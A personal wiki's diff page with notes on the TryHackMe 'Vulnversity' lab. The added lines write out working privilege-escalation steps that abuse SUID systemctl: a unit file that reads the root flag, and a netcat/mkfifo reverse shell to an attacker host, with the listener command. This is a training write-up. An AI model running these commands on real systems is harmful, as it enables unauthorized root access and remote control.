The gMan nixWiki

Because the mind is made of Teflon...

User Tools

Site Tools

You are here: start » prac_app_tryhackme
prac_app_tryhackme

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revisionPrevious revision
Next revision		Previous revision
prac_app_tryhackme [2022/09/24 18:50] – [TRY HACK ME] gmanprac_app_tryhackme [2022/09/24 19:03] (current) – gman
Line 2: Line 2:
  
   * [[https://tryhackme.com/ | TryHackMe]]: Cyber security training through short, gamified, real-world labs. Content for complete beginners and seasoned hackers.    * [[https://tryhackme.com/ | TryHackMe]]: Cyber security training through short, gamified, real-world labs. Content for complete beginners and seasoned hackers. 
- 
-====== Level 1 Headline ====== 
- 
-===== Headline 2 ===== 
- 
-==== Headline 3 ==== 
- 
-=== Headline 4 === 
- 
-== Headline 5 == 
- 
-= Headline 6 = 
- 
----- 
- 
- 
- 
- 
- 
  
 ====== Vulnversity ====== ====== Vulnversity ======
Line 80: Line 61:
 </code>  </code> 
  
-Then execute the .phtml file on the target machine: +  * Then execute the .phtml file on the target machine: 
  
 <code>http:[IP]:3333/internal/uploads</code> <code>http:[IP]:3333/internal/uploads</code>
Line 100: Line 81:
  
 **Discovered Vulnerability:** [[https://gtfobins.github.io/gtfobins/systemctl/ | systemctl is SUID root]] **Discovered Vulnerability:** [[https://gtfobins.github.io/gtfobins/systemctl/ | systemctl is SUID root]]
 +
 +===== Exploit =====
  
 [[https://n0w4n.nl/vulnversity/ | n0w4n]]: He said we did not have perms to write in the default systemctl dir, so he created the unit file as an ENVIRONMENT VARIABLE. [[https://n0w4n.nl/vulnversity/ | n0w4n]]: He said we did not have perms to write in the default systemctl dir, so he created the unit file as an ENVIRONMENT VARIABLE.
  
-  * First we create a variable which holds a unique file (on target machine). +  * First we create a variable which holds a unique file (on target machine).  
-<code>+ 
 +<code>eop=$(mktemp).service</code> 
 + 
 +  * Then we create an unit file and write it into the variable. Inside the unit file we enter a command that will let the shell execute the command ''cat'' and redirect the output of ''cat'' to a file called ''output'' in the folder ''/tmp/''.
  
-</code> 
-  * Then we create an unit file and write it into the variable. 
 <code> <code>
 +echo '[Service] 
 +> ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output" 
 +> [Install] 
 +> WantedBy=multi-user.target' > $eop
 </code> </code>
-  *  Inside the unit file we entered a command which will let shell execute the command cat and redirect the output of cat to a file called output in the folder tmp. 
-<code> 
  
-</code> 
   * And finally we use the /bin/systemctl program to enable the unit file.   * And finally we use the /bin/systemctl program to enable the unit file.
 +
 <code> <code>
 +/bin/systemctl link $eop
 +# Created symlink from /etc/systemd/system/tmp.x1uzp01alO.service to /tmp/tmp.x1uzp01alO.service.
  
 +/bin/systemctl enable --now $eop
 +# Created symlink from /etc/systemd/system/multi-user.target.wants/tmp.x1uzp01alO.service to /tmp/tmp.x1uzp01alO.service.
 </code> </code>
 +
   * Find it:   * Find it:
-<code> 
  
-</code>+<code>ls -lah /tmp</code> 
 + 
 +===== Alternative Exploit =====
  
 **To get a reverse root shell:** **To get a reverse root shell:**
 +
 +**NOTE:** the target machine is using netcat OpenBSD, NOT the traditional netcat. That means the -e (execute) flag will not work. See **Netcat (Traditional)** and **Netcat (OpenBSD)" (OpenBSD netcat removed the -e flag “for security” ([[https://kb.systemoverlord.com/security/postex/reverse/ | link]]).
 +
 +<code>
 +# nc (openbsd):
 +rm /tmp/f;mkfifo /tmp/f;/bin/sh -i 2>&1 </tmp/f|nc $HOST $PORT >/tmp/f
 +</code>
  
   * Create your unit file:   * Create your unit file:
 +
 <code> <code>
 +echo '[Service] 
 +Type=oneshot 
 +ExecStart=/bin/sh -c "rm /tmp/f;mkfifo /tmp/f;/bin/sh -i 2>&1 </tmp/f|nc $HOST $PORT >/tmp/f" 
 +[Install] 
 +WantedBy=multi-user.target' > gk.service
 </code> </code>
 +
   * Open a listener on your attack machine:   * Open a listener on your attack machine:
-<code> 
  
-</code>+<code>nc -lvnp 7777</code> 
   * Link and start the service:   * Link and start the service:
-<code> 
  
 +<code>
 +/bin/systemctl link /tmp/gk.service         # need the full path
 +/bin/systemctl enable --now /tmp/gk.service
 </code> </code>
  
 Done. Done.
 +
 +----
 +
prac_app_tryhackme.1664045457.txt.gz · Last modified: by gman